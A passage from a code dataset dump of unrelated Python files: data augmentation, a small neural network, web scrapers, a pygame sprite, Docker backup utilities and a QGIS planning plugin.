images'.format(super_total))\r\n if total % 300 == 0:\r\n break\r\n\r\nfor i,imagep in enumerate(imagepaths_aug_advanced):\r\n label = imagep.split(os.path.sep)[-2]\r\n if label == 'Guest':\r\n continue\r\n image = load_img(imagep)\r\n image = img_to_array(image)\r\n image = np.expand_dims(image,axis = 0)\r\n save_to_dir = os.path.join(dataset_aug_path,label)\r\n if not os.path.exists(save_to_dir):\r\n os.mkdir(save_to_dir)\r\n imageGen = aug.flow(image, batch_size=1, save_to_dir=save_to_dir,save_prefix=label, save_format=\"jpg\")\r\n total = 0\r\n for imageg in imageGen:\r\n super_total += 1\r\n total += 1\r\n if super_total % 100 == 0 :\r\n print('Processed {} images'.format(super_total))\r\n if total % 500 == 0:\r\n break\r\n\r\n\r\n\r\n\r\nprint(\"Augmented {} images in total\".format(super_total))","sub_path":"src/create_dataset_aug.py","file_name":"create_dataset_aug.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"217011622","text":"from sklearn.model_selection import train_test_split\nimport random\n\nimport pickle\nimport pandas as pd\nimport numpy\n\n\ndef sigmoid(x, derivative=False, lambda_rate=1): \n if derivative:\n return sigmoid(x, lambda_rate=lambda_rate)*sigmoid(1-(x), lambda_rate=lambda_rate)\n else:\n return 1/(1+numpy.exp(-lambda_rate*x))\n\n\ndef clear_up(file_name=\"new_data.csv\"):\n\n data = pd.read_csv(file_name, header=None)\n data.columns = ['input_1', 'input_2', 'output_1', 'output_2']\n data = data.drop_duplicates()\n data = (data - data.min()) / (data.max() - data.min())\n # data.plot(kind='density', subplots=True, layout=(2,2), sharex=False)\n # plt.show()\n return data\n\nclass NeuralNetwork():\n\n def __init__(self, parameters):\n self.prev_loss = 10\n self.count = 0 \n self.loss = 10\n self.parameters = parameters\n self.network = {}\n\n def create_random(self):\n for key in self.parameters:\n self.network[key] = random.choice(self.parameters[key])\n\n def new_model(self, network):\n self.network = network\n\n def save_model(self):\n with open('model_best.pickle', 'wb') as handle:\n pickle.dump(self.nn_weights, handle, protocol=pickle.HIGHEST_PROTOCOL)\n \n def build_model(self, parameters):\n inumpyut_dimension = x_train.shape[0]\n output_dimension = y_train.shape[0]\n\n hidden_dimension = parameters[\"no_neurons\"]\n self.learning_rate = parameters[\"learning_rate\"]\n self.momentum_rate = parameters[\"momentum_rate\"]\n self.lambda_rate = parameters[\"lambda_rate\"]\n\n weight_1 = numpy.random.rand(hidden_dimension,inumpyut_dimension) \n bias_1 = numpy.zeros((hidden_dimension,1))\n\n weight_2 = numpy.random.rand(output_dimension,hidden_dimension) \n bias_2 = numpy.zeros((output_dimension,1))\n \n self.prev_delta_weight_1 = numpy.zeros((hidden_dimension,output_dimension))\n self.prev_delta_weight_2 = numpy.zeros((output_dimension, hidden_dimension))\n\n self.nn_weights = { 'weight_1': weight_1, 'bias_1': bias_1, 'weight_2': weight_2, 'bias_2': bias_2}\n\n\n self.epochs = 1000\n self.training_loss= []\n self.validation_loss = []\n\n\n def evaluate(self, x_train, y_train, x_cv, y_cv):\n\n weight_1 = self.nn_weights['weight_1']\n weight_2 = self.nn_weights['weight_2']\n bias_1 = self.nn_weights['bias_1']\n bias_2 = self.nn_weights['bias_2']\n\n V1 = numpy.dot(weight_1, x_train) + bias_1\n activation_1 = sigmoid(V1, lambda_rate=self.lambda_rate)\n \n V2 = numpy.dot(weight_2, activation_1) + bias_2\n predicted = sigmoid(V2, lambda_rate=self.lambda_rate) \n \n rms_error = numpy.mean(numpy.square(y_train - predicted))\n\n V1 = numpy.dot(weight_1, x_cv) + bias_1\n activation_1 = sigmoid(V1, lambda_rate=self.lambda_rate)\n V2 = numpy.dot(weight_2, activation_1) + bias_2\n validation_loss_predicted = sigmoid(V2, lambda_rate=self.lambda_rate)\n \n rmse_cross_validation = numpy.mean(numpy.square(y_cv - validation_loss_predicted))\n # print (rmse_cross_validation)\n\n return rms_error, rmse_cross_validation\n\n def fit(self):\n\n self.build_model(self.network)\n\n for _ in range(self.epochs):\n weight_1 = self.nn_weights['weight_1']\n weight_2 = self.nn_weights['weight_2']\n bias_1 = self.nn_weights['bias_1']\n bias_2 = self.nn_weights['bias_2']\n\n #------------------------------------------------- Forward Pass\n\n V1 = numpy.dot(weight_1, x_train) +bias_1\n activation_1 = sigmoid(V1, lambda_rate=self.lambda_rate)\n V2 = numpy.dot(weight_2, activation_1) + bias_2\n predicted = sigmoid(V2, lambda_rate=self.lambda_rate)\n\n #------------------------------------------------- Backward Pass\n\n error = y_train - predicted\n \n gradient_2 = self.lambda_rate *(error * sigmoid(V2, derivative=True, lambda_rate=self.lambda_rate))\n gradient_1 = self.lambda_rate * numpy.dot(weight_2.T, gradient_2)*sigmoid(V1, derivative=True, lambda_rate=self.lambda_rate)\n \n delta_weight_1 = numpy.dot(gradient_1, x_train.T)\n delta_weight_2 = numpy.dot(gradient_2, activation_1.T)\n delta_bias_1 = numpy.sum(gradient_1, axis=1, keepdims=True)\n delta_bias_2 = numpy.sum(gradient_2, axis=1, keepdims=True)\n \n #----------------------------------------------------- Update the weights\n\n weight_1 += self.learning_rate*delta_weight_1 + self.momentum_rate * self.prev_delta_weight_1\n weight_2 += self.learning_rate*delta_weight_2 + self.momentum_rate * self.prev_delta_weight_2\n\n bias_1 += self.learning_rate*delta_bias_1\n bias_2 += self.learning_rate*delta_bias_2\n \n #------------------------------------------------------Save the weights of NN\n self.nn_weights = {\n 'weight_1': weight_1, 'weight_2': weight_2,\n 'bias_1': bias_1, 'bias_2': bias_2\n }\n #--------------------------------------------------------Previous weights for momentum\n self.prev_delta_weight_1 = delta_weight_1\n self.prev_delta_weight_2 = delta_weight_2\n \n rms_error, rmse_cross_validation = self.evaluate(x_train, y_train, x_cv, y_cv)\n self.training_loss.append(rms_error)\n self.validation_loss.append(rmse_cross_validation)\n\n self.count += 1\n if self.count > 100:\n return self.loss\n\n if rmse_cross_validation < self.loss:\n self.count = 0\n self.loss = rmse_cross_validation\n\n return self.loss\n\n# -----------------------------------------Data handlelling \n\ndata = clear_up(\"data.csv\")\ndata_min = data.min()\ndata_max = data.max()\n\n# print (data_min)\n# print (data_max)\n\ntrain , cv = train_test_split(data, test_size = 0.15)\n\nx_train = numpy.array(train[['input_1', 'input_2']]).T\ny_train = numpy.array(train[['output_1', 'output_2']]).T\n\nx_cv = numpy.array(cv[['input_1', 'input_2']]).T\ny_cv = numpy.array(cv[['output_1', 'output_2']]).T\n\n# -----------------------------------------Data handlelling \n","sub_path":"nn.py","file_name":"nn.py","file_ext":"py","file_size_in_byte":6392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"354234450","text":"import os.path as path\nimport time\nimport requests\nimport os\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom multiprocessing.pool import ThreadPool as Pool\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\n\ndirectory = None\n\ndef getLinks(url):\n \n sourceLinks = getSourceLinks(url)\n\n #Getting picture id from source links\n idList = [findId(a) for a in sourceLinks]\n\n #Getting image sources from id\n baseUrl = 'https://wallpapers.wallhaven.cc/wallpapers/full/wallhaven-'\n jpg = '.jpg'\n \n #Splitting dictionary for pool\n imageSources1 = { idList[a] : baseUrl+idList[a]+jpg for a in range(0,len(idList),4)}\n imageSources2 = { idList[a] : baseUrl+idList[a]+jpg for a in range(1,len(idList),4)}\n imageSources3 = { idList[a] : baseUrl+idList[a]+jpg for a in range(2,len(idList),4)}\n imageSources4 = { idList[a] : baseUrl+idList[a]+jpg for a in range(3,len(idList),4)}\n\n imageSources = []\n imageSources.append(imageSources1)\n imageSources.append(imageSources2)\n imageSources.append(imageSources3)\n imageSources.append(imageSources4)\n return imageSources\n \ndef getSourceLinks(url):\n if url.find('random') == -1: \n reloads = 3\n else:\n reloads = 5\n driver = webdriver.PhantomJS()\n pause = 1\n\n driver.get(url)\n\n for _ in range(reloads):\n driver.execute_script('window.scrollTo(0, document.body.scrollHeight)')\n time.sleep(pause)\n\n cont = driver.page_source\n soup = BeautifulSoup(cont, 'html.parser')\n\n sources = soup.select(\"li a.preview\")\n sourceLinks = [a.get(\"href\") for a in sources]\n driver.quit()\n return sourceLinks\n\n\ndef findId(link):\n splitList = link.split(\"/\")\n return splitList[-1]\n\ndef downloadImages(imageSources):\n \n downloadFolder = 'C:\\\\Users\\\\Quang-Tri\\\\Dropbox\\\\Wallpapers'\n baseUrl = 'https://wallpapers.wallhaven.cc/wallpapers/full/wallhaven-'\n png = '.png'\n\n for k, v in imageSources.items():\n\n response = requests.head(v)\n identifier = response.headers.get('content-type')\n \n if identifier == 'image/jpeg':\n resource = requests.get(v)\n completeName = path.join(downloadFolder, k+'.jpg')\n else:\n resource = requests.get(baseUrl+k+png)\n completeName = path.join(downloadFolder, k+'.png')\n \n if path.isfile(completeName) == False:\n output = open(completeName,\"wb\")\n output.write(resource.content)\n output.close()\n\ndef downloadToCustomFolder(imageSources):\n global directory\n downloadFolder = directory\n baseUrl = 'https://wallpapers.wallhaven.cc/wallpapers/full/wallhaven-'\n png = '.png'\n\n for k, v in imageSources.items():\n\n response = requests.head(v)\n identifier = response.headers.get('content-type')\n \n if identifier == 'image/jpeg':\n resource = requests.get(v)\n completeName = path.join(downloadFolder, k+'.jpg')\n else:\n resource = requests.get(baseUrl+k+png)\n completeName = path.join(downloadFolder, k+'.png')\n \n if path.isfile(completeName) == False:\n output = open(completeName,\"wb\")\n output.write(resource.content)\n output.close()\n\ndef createFolder():\n localtime = time.asctime(time.localtime(time.time())).replace(':', ';')\n global directory\n directory = 'C:\\\\Users\\\\Quang-Tri\\\\Dropbox\\\\'+localtime\n if not os.path.exists(directory):\n os.makedirs(directory)\n\nif __name__ == '__main__':\n choice = input('Random? (y/n)')\n if choice == 'n':\n query = input('Search: ')\n baseUrl = 'https://alpha.wallhaven.cc/search?q='\n images = getLinks(baseUrl+query)\n createFolder()\n p = Pool(4)\n p.map(downloadToCustomFolder, images)\n else:\n url = 'https://alpha.wallhaven.cc/random'\n images = getLinks(url)\n createFolder()\n p = Pool(4)\n p.map(downloadToCustomFolder, images)\n \n \n","sub_path":"wallpaper.py","file_name":"wallpaper.py","file_ext":"py","file_size_in_byte":4156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"333549133","text":"#!/usr/bin/env python3\nimport pygame\n\nclass Gnome():\n \"\"\"Initializes the gnome and sets its initial position\"\"\"\n def __init__(self, ai_settings, screen):\n self.screen = screen\n self.ai_settings = ai_settings\n\n # Loading a gnome image\n self.image = pygame.image.load('images/gnome.png')\n self.rect = self.image.get_rect()\n self.screen_rect = screen.get_rect()\n\n # Each new gnome appears at the bottom edge of the screen\n self.rect.centerx = self.screen_rect.centerx\n self.rect.bottom = self.screen_rect.bottom\n\n # Preservation of the real coordinate of the center of the gnome\n self.center = float(self.rect.centerx)\n\n # Moving flag\n self.moving_right = False\n self.moving_left = False\n\n def update(self):\n '''Updates gnome position according flag'''\n # Update center, not rect\n if self.moving_right and self.rect.right < self.screen_rect.right:\n self.center += self.ai_settings.gnome_speed_factor\n if self.moving_left and self.rect.left > 0:\n self.center -= self.ai_settings.gnome_speed_factor\n # Updating the attribute rect based on self.center\n self.rect.centerx = self.center\n\n def blitme(self):\n '''Draws the gnome at the current position'''\n self.screen.blit(self.image, self.rect)\n\n def center_gnome(self):\n self.center = self.screen_rect.centerx","sub_path":"chapter13/6/gnome.py","file_name":"gnome.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"643203866","text":"\"\"\"\n example document - demonstrate how 'Document as Code' works\n\"\"\"\nimport pathlib\n\nfrom domain.compliance.model.measure import Measure\nfrom domain.compliance.render.document_renderer import DocumentRenderer\nfrom domain.compliance.render.bootstrap_labeler import BootstrapLabeler\n\nfrom domain.bio2019 import BIO2019 as BIO\n\n\n# --- specific measures ---\n\nimport bio2019_measures\n\n# --- explained and accepted exceptions ---\n\nMeasure(\n identifier=\"Explained\",\n description=\"Geaccepteerde afwijking\",\n identifiers=[\n ],\n).set_explain()\n\n# --- declared and accepted as not applicable ---\n\nMeasure(\n identifier=\"Not Applicable\",\n description=\"Niet van toepassing\",\n identifiers=[\n ],\n).set_not_applicable()\n\n\n# --- PROCESSING STARTS HERE ---\n\nif __name__ == \"__main__\":\n\n file_path = pathlib.Path(__file__).resolve()\n project_home_dir = file_path.resolve().parent.parent.parent\n report_dir = project_home_dir / \"report\"\n report_dir.mkdir(parents=True, exist_ok=True)\n report_file = report_dir / file_path.with_suffix(\".html\").name\n report_pages = report_dir / f\"{file_path.stem}_pages\"\n\n renderer = DocumentRenderer(BootstrapLabeler)\n renderer.link_measures_to_fragments(BIO)\n renderer.render_main_document_as_one(BIO, report_file)\n renderer.render_main_document_as_parts(BIO, report_pages)\n\n print(f\"Output in '{report_dir}'\")\n","sub_path":"python/examples/bio2019_document.py","file_name":"bio2019_document.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"274540953","text":"class Solution:\n # @return a string\n def getPermutation(self, n, k):\n num = n - 1\n \n numbers = range(1, n+1)\n result = \"\"\n \n while num > 0:\n fact = self.factorial(num)\n item = numbers[(k-1)//fact]\n k = k % fact\n result += str(item)\n numbers.remove(item)\n num -= 1\n \n result += str(numbers[0])\n \n return result\n \n \n def factorial(self, num):\n if num == 1:\n return 1\n \n return num*self.factorial(num-1)","sub_path":"Permutation Sequence.py","file_name":"Permutation Sequence.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"228417406","text":"# -*- coding: utf-8 -*-\n\n\nfrom mri import get_t2star_decay\n\nfrom expects import expect, equal\n\n\nwith description(\"mri calculations\"):\n\n with context(\"calculating T2* decay of myocardium\"):\n\n with it(\"it must return 29.13\"):\n\n f_echo_time = 4.6\n l_echo_time = 9.2\n f_echo_signal = 1424\n l_echo_signal = 1216\n\n decay = get_t2star_decay(f_echo_time, l_echo_time,\n f_echo_signal, l_echo_signal)\n\n expect(decay).to(equal(29.13))\n","sub_path":"specs/mri/mri_spec.py","file_name":"mri_spec.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"434780647","text":"\"\"\"\nTest the pymlac display widget.\n\nUsage: test_Display.py [-h]\n\"\"\"\n\n\nimport Display\n\n# if we don't have log.py, don't crash\ntry:\n import log\n log = log.Log('test.log', log.Log.DEBUG)\nexcept ImportError:\n def log(*args, **kwargs):\n pass\n\n\ndef test():\n display = Display.Display()\n display.draw(0, 0, 1023, 1023)\n display.draw(1023, 0, 0, 1023)\n display.draw(512, 0, 1023, 512)\n display.draw(1023, 512, 512, 1023)\n display.draw(512, 1023, 0, 512)\n display.draw(0, 512, 512, 0)\n for x in (0, 256, 512, 768, 1023):\n display.draw(x, 0, x, 1023, dotted=True)\n\n for y in (0, 256, 512, 768, 1023):\n display.draw(0, y, 1023, y, dotted=True)\n\n display.close()\n\n\n################################################################################\n\nif __name__ == '__main__':\n import sys\n import getopt\n import traceback\n\n # print some usage information\n def usage(msg=None):\n if msg:\n print(msg+'\\n')\n print(__doc__) # module docstring used\n\n # our own handler for uncaught exceptions\n def excepthook(type, value, tb):\n msg = '\\n' + '=' * 80\n msg += '\\nUncaught exception:\\n'\n msg += ''.join(traceback.format_exception(type, value, tb))\n msg += '=' * 80 + '\\n'\n print(msg)\n sys.exit(1)\n\n # plug our handler into the python system\n sys.excepthook = excepthook\n\n # decide which tiles to use, default is GMT\n argv = sys.argv[1:]\n\n try:\n (opts, args) = getopt.getopt(argv, 'h', ['help'])\n except getopt.error:\n usage()\n sys.exit(1)\n\n for (opt, param) in opts:\n if opt in ['-h', '--help']:\n usage()\n sys.exit(0)\n\n test()\n\n# # start wxPython app\n# app = wx.App()\n# TestFrame().Show()\n# app.MainLoop()\n# sys.exit(0)\n#\n","sub_path":"pymlac/test_Display.py","file_name":"test_Display.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"586566452","text":"import sys\nimport os\n\nsource = sys.argv[1]\noutput = sys.argv[2]\n\nwith open(output, 'w') as out:\n for root, dirnames, filenames in os.walk(source):\n for name in filenames:\n if not name.endswith('.txt'):\n continue\n path = os.path.join(root, name)\n print(path)\n with open(path) as f:\n try:\n for line in f:\n data = line.split('|')\n time = data[9]\n longitude = data[10]\n latitude = data[11]\n out.write(','.join([time, longitude, latitude]) + '\\n')\n except:\n pass\n\n","sub_path":"get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"250095405","text":"import requests\nimport json\nimport copy\nimport lxml.html\nimport argparse\nimport logging\nimport tqdm\n\n_url = 'https://www.msn.com/en-us/{cat}/{subcat}/{title}/{dtype}-{nid}'\n\n\ndef url(news_id, doc_type, category, subcategory, title):\n return _url.format(cat=category, subcat=subcategory, title=title, dtype=doc_type, nid=news_id)\n\n\ndef find_news_source_by_url(url):\n response = requests.get(url)\n\n if not 200 <= response.status_code <= 300:\n raise ValueError('recieved status code {}'.format(response.status_code))\n\n html = lxml.html.fromstring(response.content)\n\n # content_node = html.xpath('//div[@id=\"main\" and div/@class=\"content\" and div/a/@title and div/a/@href]')\n # ref_node = content_node[0].xpath('div/a')\n\n ref_node = html.xpath('//a[@href and @title]')\n\n href = ref_node[0].get('href')\n title = ref_node[0].get('title')\n\n return title, href\n\n\ndef main(in_path, out_path):\n logging.basicConfig(filename='sources.log', level=logging.INFO)\n\n with open(in_path, 'r') as f:\n dataset = json.load(f)\n\n extended_dataset = []\n\n total = 0\n fails = 0\n\n for entry in tqdm.tqdm(dataset):\n true_url = url(entry['news_id'], entry['doc_type'], entry['category'], entry['subcategory'], entry['title'])\n total += 1\n\n try:\n title, href = find_news_source_by_url(true_url)\n\n except Exception as e:\n logging.info('News_ID {} -- Error {}'.format(entry['news_id'], e))\n fails += 1\n continue\n\n extended_entry = copy.deepcopy(entry)\n extended_entry['source_name'] = title.replace('logo', '')\n extended_entry['source_url'] = href\n\n extended_dataset.append(extended_entry)\n\n with open(out_path, 'w') as file:\n json.dump(extended_dataset, file, indent=4)\n\n logging.info('TOTAL ITEMS PROCESSED {} // {} ITEMS FAILED'.format(total, fails))\n\n\n_parser = argparse.ArgumentParser(description='')\n_parser.add_argument('in_path', type=str, help='')\n_parser.add_argument('out_path', type=str, help='')\n\nif __name__ == '__main__':\n args = _parser.parse_args()\n main(args.in_path, args.out_path)\n","sub_path":"crawler/sources.py","file_name":"sources.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"7527738","text":"# Nicholas Hill\n# BME 205 Assignment 4: Graphical Methods: Problem 3\n# Finds the overlap between adjacent elements in a list of kmers\n# and then outputs their overlap in the form of an adjacency list\n# Run: python3 p3.py < [TEST_FILE]\nimport sys\n\n\ndef printOverlapGraph(kmerList):\n for i in kmerList:\n # get the suffix from the kmer\n suff = i[1:]\n for j in kmerList:\n # if the suffix is equal to the prefix of the next seq\n # print in overlap graph format\n if suff == j[:-1]:\n print (i + ' -> ' + j)\n\ndef main():\n kmerList = []\n while True:\n kmer = str(sys.stdin.readline().strip())\n if not kmer:\n break\n kmerList.append(kmer)\n\n printOverlapGraph(kmerList)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"binfalgorithms/asg4/p3/p3.py","file_name":"p3.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"319182856","text":"# coding: utf-8\nfrom __future__ import unicode_literals\nfrom django import template\n\nfrom core.models import Person\nregister = template.Library()\n\n\n@register.filter\ndef suggest(person):\n \"\"\"\n Search DB for existing users.\n \"\"\"\n res = Person.objects.filter(\n last_name_uk__iexact=person[\"last_name\"].lower(),\n first_name_uk__istartswith=person[\"first_name\"].strip(\".\")[:1].lower(),\n patronymic_uk__istartswith=person[\"patronymic\"].strip(\".\")[:1].lower()\n )\n\n return res\n","sub_path":"pepdb/core/templatetags/admin_misc.py","file_name":"admin_misc.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"526407107","text":"import unittest\n\nfrom tests.init import InitPTO\nfrom pto.model.companies import Companies\nfrom pto.model.companies import Company\n\n\nclass TestCompanies(unittest.TestCase):\n\n def setUp(self):\n init = InitPTO()\n self._companies = init.companies \n\n def test_create(self):\n ACME_NAME = 'ACME'\n\n content = self._companies.find({'name':ACME_NAME})\n self.assertEqual(ACME_NAME,content['content']['name'])\n\n\nif __name__ == '__main__':\n unittest.main() \n \n","sub_path":"tests/test_company.py","file_name":"test_company.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"169839517","text":"#!/usr/bin/env python\n__author__ = \"OBI\"\n__copyright__ = \"Copyright 2021, DPV e.V.\"\n__license__ = \"MIT\"\n\nimport re\nfrom datetime import datetime\nimport os\n\nfrom docker import DockerContainer, DockerUtils\nfrom logger import logger\n\n\ndef get_df_output(path, container: DockerContainer):\n \"\"\"Output from df -h tool\"\"\"\n cmd_dfh = \"df -h {}\".format(path)\n result = DockerUtils.run_cmd(cmd=cmd_dfh, container=container)\n return result.decode('utf-8')\n\n\ndef get_folder_size_in_bytes(path, container: DockerContainer):\n \"\"\"disk usage in bytes\"\"\"\n cmd_folder_size = \"du -s --bytes {}\".format(path)\n result = DockerUtils.run_cmd(cmd=cmd_folder_size, container=container)\n return result.split()[0].decode('utf-8')\n\n\ndef get_folder_size_human(path, container: DockerContainer):\n \"\"\"disk usage in human readable format (e.g. '2,1GB')\"\"\"\n cmd_folder_size = \"du -sh {}\".format(path)\n result = DockerUtils.run_cmd(cmd=cmd_folder_size, container=container)\n return result.split()[0].decode('utf-8')\n\n\ndef check_dir_exist(path, container: DockerContainer) -> bool:\n cmd = \"ls -A {}/\".format(path)\n try:\n DockerUtils.run_cmd(cmd=cmd, container=container)\n return True\n except:\n return False\n\n\ndef check_dir_empty(path, container: DockerContainer) -> bool:\n cmd = \"ls -A {} | [ $(wc -c) -gt 0 ]\".format(path)\n try:\n DockerUtils.run_cmd(cmd=cmd, container=container)\n return False\n except:\n return True\n\n\ndef check_file_exists(path, container: DockerContainer) -> bool:\n cmd = \"test -f {}\".format(path)\n try:\n DockerUtils.run_cmd(cmd=cmd, container=container)\n return True\n except:\n return False\n\n\ndef fix_latest_link(backup_path: str, latest_dir: str, container: DockerContainer) -> bool:\n cmd = \"ls -la {}\".format(backup_path)\n try:\n result = DockerUtils.run_cmd(cmd=cmd, container=container)\n result_list = result.split(b'\\n')\n regexp = \" [0-9]{4}-[0-9]{2}-[0-9]{2}_[0-9]{2}-[0-9]{2}-[0-9]{2}\"\n valid_backups = []\n for entry in result_list:\n regres = re.search(regexp, str(entry))\n if regres:\n valid_backups.append(regres.group(0)[1:])\n\n if valid_backups:\n valid_backups.sort()\n latest_backup = os.path.join(backup_path, valid_backups[-1])\n cmd_link = \"rm -rf {latest} && ln -s {backup_dir} {latest}\".format(backup_dir=latest_backup,\n latest=latest_dir)\n DockerUtils.run_cmd(cmd=cmd_link, container=DockerContainer.BACKUP)\n\n return True\n except:\n return False\n\n\ndef init_params(params: dict):\n \"\"\"\n Check if env variables are exported and update params\n \"\"\"\n for key, value in params.items():\n if key in os.environ:\n if type(value) is not bool:\n params[key] = type(value)(os.environ.get(key))\n else:\n params[key] = str2bool(os.environ.get(key))\n\n if not params[key]:\n logger.warn(\"Key: {} not set.\".format(key))\n\n # Print params\n for key, value in params.items():\n logger.info('ENV: %-20s = %s', key, value)\n\n\ndef list_files(directory, extension):\n return (f for f in os.listdir(directory) if f.endswith('.' + extension))\n\n\ndef str2bool(v):\n if isinstance(v, bool):\n return v\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise RuntimeError('Boolean value expected.')\n\n\ndef timestamp_string() -> str:\n return datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\")\n","sub_path":"backup/scripts/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"554570834","text":"# -*- coding: utf-8 -*-\nimport os\nimport subprocess\nfrom qgis.PyQt import QtGui, QtWidgets, uic\nfrom qgis.PyQt.QtCore import pyqtSignal, Qt\nfrom qgis.PyQt.QtWidgets import QAction, QMenu, QInputDialog, QMessageBox\nfrom qgis.core import QgsVectorLayer\n\nfrom projektcheck.base import PCDockWidget, SettingsDialog\nfrom projektcheck.domains import (BewohnerArbeit, ProjectDefinitions,\n Verkehr, Erreichbarkeiten, Ecology,\n LandUse, InfrastructuralCosts,\n MunicipalTaxRevenue,\n SupermarketsCompetition)\nfrom projektcheck.project_definitions.project import init_project\n\n\nclass ProjektCheckMainDockWidget(PCDockWidget):\n\n ui_file = 'ProjektCheck_dockwidget_base.ui'\n\n def setupUi(self):\n #self.ui.pandas_button.clicked.connect(self.install_pandas)\n self.domains = []\n self.active_dockwidget = None\n self.project_definitions = None\n\n settings_dialog = SettingsDialog(self.settings.project_path)\n def set_project_path(path):\n if not path:\n return\n self.settings.project_path = path\n self.setup_projects()\n self.ui.settings_button.clicked.connect(\n lambda: set_project_path(settings_dialog.show()))\n\n def create_project():\n name, ok = QInputDialog.getText(\n self.ui, 'Neues Projekt erstellen', 'Projektname')\n if ok:\n project_names = [p.name for p in self.project_manager.projects]\n if name in project_names:\n QMessageBox.warning(\n self.ui,\n 'Fehler',\n f'Ein Projekt mit dem Namen {name} existiert bereits!\\n'\n 'Projektnamen müssen einzigartig sein.'\n )\n return\n project = self.project_manager.create_project(name)\n shape = os.path.join(\n self.project_manager.settings.TEMPLATE_PATH,\n 'projektflaechen', 'projektflaechen_template.shp')\n layer = QgsVectorLayer(shape, 'testlayer_shp', 'ogr')\n init_project(project, layer, self.project_manager.settings.epsg)\n self.ui.project_combo.addItem(project.name, project)\n self.project_manager.active_project = project\n\n self.ui.create_project_button.clicked.connect(create_project)\n\n def remove_project():\n project = self.project_manager.active_project\n if not project:\n return\n reply = QMessageBox.question(\n self.ui, 'Projekt entfernen',\n f'Soll das Projekt \"{project.name}\" entfernt werden?\\n'\n '(alle Projektdaten werden gelöscht)',\n QMessageBox.Yes, QMessageBox.No)\n if reply == QMessageBox.Yes:\n idx = self.ui.project_combo.currentIndex()\n self.ui.project_combo.setCurrentIndex(0)\n self.ui.project_combo.removeItem(idx)\n self.project_manager.active_project = ''\n self.project_manager.remove_project(project)\n self.ui.remove_project_button.clicked.connect(remove_project)\n\n self.setup_projects()\n\n def setup_projects(self):\n '''\n fill project combobox with available projects\n load active project? (or later after setting up domains?)\n '''\n for project in self.project_manager.projects:\n if project.name == '__test__':\n continue\n self.ui.project_combo.addItem(project.name, project)\n active_project = self.project_manager.active_project\n if active_project:\n index = self.ui.project_combo.findText(active_project.name)\n self.ui.project_combo.setCurrentIndex(index)\n self.ui.project_combo.currentIndexChanged.connect(\n lambda index: self.change_project(\n self.ui.project_combo.itemData(index))\n )\n # load active project\n self.change_project(self.project_manager.active_project)\n\n def setup_definitions(self):\n '''setup project definitions widget'''\n self.project_definitions = ProjectDefinitions(self.iface)\n self.ui.definition_button.clicked.connect(\n lambda: self.show_dockwidget(self.project_definitions))\n\n def setup_domains(self):\n '''setup the domain widgets'''\n\n self.domains = []\n\n bewohner_arbeit = BewohnerArbeit(self.iface)\n self.domains.append(bewohner_arbeit)\n\n erreichbarkeiten = Erreichbarkeiten(self.iface)\n self.domains.append(erreichbarkeiten)\n\n verkehr = Verkehr(self.iface)\n self.domains.append(verkehr)\n\n ecology = Ecology(self.iface)\n self.domains.append(ecology)\n\n landuse = LandUse(self.iface)\n self.domains.append(landuse)\n\n infrastructuralcosts = InfrastructuralCosts(self.iface)\n self.domains.append(infrastructuralcosts)\n\n municipaltaxrevenue = MunicipalTaxRevenue(self.iface)\n self.domains.append(municipaltaxrevenue)\n\n supermarkets = SupermarketsCompetition(self.iface)\n self.domains.append(supermarkets)\n\n # fill the analysis menu with available domains\n menu = QMenu()\n for domain in self.domains:\n action = menu.addAction(domain.ui_label)\n action.triggered.connect(\n lambda e, d=domain: self.show_dockwidget(d))\n self.ui.domain_button.setMenu(menu)\n\n def install_pandas(self):\n dir_path = os.path.dirname(os.path.realpath(__file__))\n process = subprocess.Popen(os.path.join(dir_path, 'install-pandas.bat'),\n shell=True, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n #process = subprocess.Popen(['runas', '/user:Administrator', '/noprofile', os.path.join(dir_path, 'install-pandas.bat')], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE)#os.path.join(dir_path, 'install-pandas.bat')])\n #process.stdin.write(b'')\n stdout, stderr = process.communicate()\n print('STDOUT:{}'.format(stdout))\n print('STDERR:{}'.format(stderr))\n\n def show_dockwidget(self, widget):\n if self.active_dockwidget:\n self.active_dockwidget.close()\n self.active_dockwidget = widget\n 